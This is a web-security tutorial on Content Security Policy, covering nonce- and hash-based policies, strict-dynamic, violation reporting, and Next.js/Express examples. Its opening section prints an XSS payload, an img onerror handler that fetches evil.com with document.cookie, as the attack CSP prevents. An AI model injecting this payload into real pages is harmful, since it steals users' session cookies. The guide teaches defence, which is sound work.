Front-end Engineering Lab

Content Security Policy Advanced

Advanced CSP with nonces, hashes, and strict policies

Content Security Policy Advanced

Content Security Policy (CSP) is the most powerful defense against XSS attacks. This guide covers advanced CSP techniques used by security-conscious companies.

Why CSP Matters

Without CSP:

<!-- Attacker injects script -->
<img src="x" onerror="fetch('https://evil.com?cookie='+document.cookie)">

<!-- Browser executes it! -->

With CSP:

Content-Security-Policy: script-src 'self'
<!-- Inline scripts blocked, XSS prevented! -->

CSP Levels

Level 1 (Basic)

Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://trusted-cdn.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;

Level 2 (Nonces)

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{random}';
  style-src 'self' 'nonce-{random}';

Level 3 (Strict CSP)

Content-Security-Policy:
  script-src 'nonce-{random}' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';

Nonce-Based CSP

Generate unique nonce per request.

Next.js Implementation

// middleware.ts
import { NextResponse } from 'next/server';
import { randomBytes } from 'crypto';

export function middleware(request: Request) {
  const nonce = randomBytes(16).toString('base64');
  
  const cspHeader = `
    default-src 'self';
    script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
    style-src 'self' 'nonce-${nonce}';
    img-src 'self' blob: data:;
    font-src 'self';
    object-src 'none';
    base-uri 'self';
    form-action 'self';
    frame-ancestors 'none';
    upgrade-insecure-requests;
  `.replace(/\s{2,}/g, ' ').trim();

  const response = NextResponse.next();
  response.headers.set('Content-Security-Policy', cspHeader);
  response.headers.set('X-Nonce', nonce);
  
  return response;
}
// app/layout.tsx
import { headers } from 'next/headers';

export default async function RootLayout({ children }: Props) {
  const headersList = await headers();
  const nonce = headersList.get('X-Nonce') || '';

  return (
    <html>
      <head>
        {/* Inline scripts need nonce */}
        <script nonce={nonce}>
          {`window.__CONFIG__ = { apiUrl: '/api' };`}
        </script>
      </head>
      <body>
        {children}
        
        {/* External scripts with nonce */}
        <script
          nonce={nonce}
          src="/analytics.js"
        />
      </body>
    </html>
  );
}

Express.js

import express from 'express';
import crypto from 'crypto';

const app = express();

app.use((req, res, next) => {
  res.locals.nonce = crypto.randomBytes(16).toString('base64');
  
  const csp = `
    default-src 'self';
    script-src 'self' 'nonce-${res.locals.nonce}' 'strict-dynamic';
    style-src 'self' 'nonce-${res.locals.nonce}';
    object-src 'none';
    base-uri 'none';
  `.replace(/\s{2,}/g, ' ').trim();
  
  res.setHeader('Content-Security-Policy', csp);
  next();
});

app.get('/', (req, res) => {
  res.send(`
    <!DOCTYPE html>
    <html>
      <head>
        <script nonce="${res.locals.nonce}">
          console.log('This script is allowed');
        </script>
      </head>
      <body>
        <h1>Hello CSP</h1>
      </body>
    </html>
  `);
});

Hash-Based CSP

For static inline scripts.

Generate Hashes

import crypto from 'crypto';

function generateCSPHash(script: string): string {
  const hash = crypto
    .createHash('sha256')
    .update(script)
    .digest('base64');
  
  return `'sha256-${hash}'`;
}

// Usage
const inlineScript = `console.log('Hello');`;
const hash = generateCSPHash(inlineScript);
// Result: 'sha256-RFWPLDbv2BY+rCkDzsE+0fr8ylGr2R2faWMhq4lfEQc='

Use in CSP

const cspHeader = `
  script-src 'self' 'sha256-RFWPLDbv2BY+rCkDzsE+0fr8ylGr2R2faWMhq4lfEQc=';
`;
<!-- This exact script is allowed -->
<script>console.log('Hello');</script>

<!-- This is blocked (different hash) -->
<script>console.log('World');</script>

Strict Dynamic

Allows dynamically loaded scripts from trusted scripts.

Content-Security-Policy:
  script-src 'nonce-{random}' 'strict-dynamic';
<!-- Trusted script with nonce -->
<script nonce="abc123">
  // This script can load other scripts dynamically
  const script = document.createElement('script');
  script.src = '/dynamic.js';
  document.body.appendChild(script);  // ✅ Allowed!
</script>

<!-- But injected scripts are still blocked -->
<img src="x" onerror="alert('XSS')">  <!-- ❌ Blocked! -->

Report-Only Mode

Test CSP without breaking the site.

// Report violations without blocking
const cspReportOnly = `
  default-src 'self';
  script-src 'self';
  report-uri /api/csp-violations;
`;

response.headers.set('Content-Security-Policy-Report-Only', cspReportOnly);

Violation Reporting

// app/api/csp-violations/route.ts
import { NextRequest } from 'next/server';

export async function POST(request: NextRequest) {
  const violation = await request.json();
  
  console.error('CSP Violation:', {
    blockedURI: violation['blocked-uri'],
    violatedDirective: violation['violated-directive'],
    originalPolicy: violation['original-policy'],
    documentURI: violation['document-uri'],
  });
  
  // Send to monitoring service
  await sendToSentry(violation);
  
  return new Response('OK', { status: 200 });
}

CSP Directives

script-src

script-src 'self'                    // Same origin only
script-src 'self' https://cdn.com    // Self + specific CDN
script-src 'nonce-{random}'          // Only with nonce
script-src 'sha256-{hash}'           // Only specific scripts
script-src 'strict-dynamic'          // Propagate trust
script-src 'unsafe-inline'           // ❌ Avoid! Defeats CSP
script-src 'unsafe-eval'             // ❌ Avoid! Allows eval()

style-src

style-src 'self'
style-src 'nonce-{random}'
style-src 'unsafe-inline'  // Often needed for inline styles

img-src

img-src 'self' data: https:

connect-src

connect-src 'self' https://api.example.com

font-src

font-src 'self' data:

object-src

object-src 'none'  // Block plugins (Flash, Java)

base-uri

base-uri 'self'  // Prevent base tag injection

form-action

form-action 'self'  // Restrict form submissions

frame-ancestors

frame-ancestors 'none'        // Prevent clickjacking
frame-ancestors 'self'        // Only same-origin iframes
frame-ancestors https://trusted.com

upgrade-insecure-requests

upgrade-insecure-requests  // HTTP → HTTPS

Strict CSP Template

Google's recommended strict CSP:

const strictCSP = `
  object-src 'none';
  script-src 'nonce-{random}' 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:;
  base-uri 'none';
  report-uri /api/csp-violations;
`.replace(/\s{2,}/g, ' ').trim();

Why 'unsafe-inline' and 'unsafe-eval'?
With 'strict-dynamic', they're ignored by modern browsers but provide fallback for old browsers.

CSP for React/Next.js

Handling Inline Styles

// Use nonce for styled-components
import { ServerStyleSheet } from 'styled-components';

export default function Document() {
  const sheet = new ServerStyleSheet();
  const nonce = generateNonce();
  
  // Collect styles with nonce
  const styleTags = sheet.getStyleElement().map(tag =>
    React.cloneElement(tag, { nonce })
  );
  
  return (
    <html>
      <head>
        {styleTags}
      </head>
      <body>
        <Main />
      </body>
    </html>
  );
}

Next.js Script Component

import Script from 'next/script';

export default function Page({ nonce }: Props) {
  return (
    <>
      {/* Script component handles nonce automatically */}
      <Script
        src="/analytics.js"
        strategy="afterInteractive"
        nonce={nonce}
      />
    </>
  );
}

Testing CSP

CSP Evaluator

https://csp-evaluator.withgoogle.com/

Paste your CSP policy to check for issues

Browser DevTools

Console → Check for CSP violations
Network → Look for blocked resources

Automated Testing

describe('CSP', () => {
  it('should have strict CSP header', async () => {
    const response = await fetch('/');
    const csp = response.headers.get('Content-Security-Policy');
    
    expect(csp).toContain("script-src 'nonce-");
    expect(csp).toContain("object-src 'none'");
    expect(csp).toContain("base-uri 'none'");
  });
});

Common Issues

Issue: Inline Event Handlers Blocked

<!-- ❌ Blocked by CSP -->
<button onclick="handleClick()">Click</button>

<!-- ✅ Use event listeners instead -->
<button id="myButton">Click</button>
<script nonce="{nonce}">
  document.getElementById('myButton').addEventListener('click', handleClick);
</script>

Issue: Third-Party Scripts

// Add trusted domains to CSP
const csp = `
  script-src 'self' 'nonce-{nonce}'
    https://www.google-analytics.com
    https://www.googletagmanager.com;
`;

Issue: Webpack/Vite HMR

// Development CSP (more permissive)
const devCSP = `
  script-src 'self' 'unsafe-eval';  // Needed for HMR
  connect-src 'self' ws: wss:;     // Needed for WebSocket
`;

// Production CSP (strict)
const prodCSP = `
  script-src 'self' 'nonce-{nonce}' 'strict-dynamic';
`;

Best Practices

  1. Start with Report-Only: Test before enforcing
  2. Use Nonces: More flexible than hashes
  3. strict-dynamic: Simplifies policy
  4. Avoid 'unsafe-inline': Defeats CSP purpose
  5. object-src 'none': Block plugins
  6. base-uri 'none': Prevent base injection
  7. Monitor Violations: Track in production
  8. Update Regularly: Review and improve
  9. Test Thoroughly: All pages and features
  10. Document Exceptions: Why certain domains allowed

Security Levels

Level 1 (Basic):
✅ Better than nothing
❌ Still allows inline scripts with 'unsafe-inline'

Level 2 (Nonce/Hash):
✅ Blocks most XSS
✅ Allows controlled inline scripts
❌ Requires server-side nonce generation

Level 3 (Strict):
✅ Maximum security
✅ Future-proof with 'strict-dynamic'
✅ Easiest to maintain
❌ Requires nonce infrastructure

Common Pitfalls

'unsafe-inline' everywhere: Defeats CSP
Use nonces or hashes

No report-uri: Can't detect violations
Monitor violations in production

Too permissive: Allows too many domains
Allowlist only necessary domains

Forgetting nonce on inline scripts: CSP blocks them
Add nonce to all inline scripts/styles

CSP is the strongest XSS defense—implement it strictly and monitor violations!

On this page